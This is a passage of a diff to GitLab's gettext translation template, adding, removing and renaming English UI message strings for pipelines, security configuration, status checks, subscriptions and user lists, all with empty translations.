msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33230,9 +33898,6 @@ msgstr[0] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
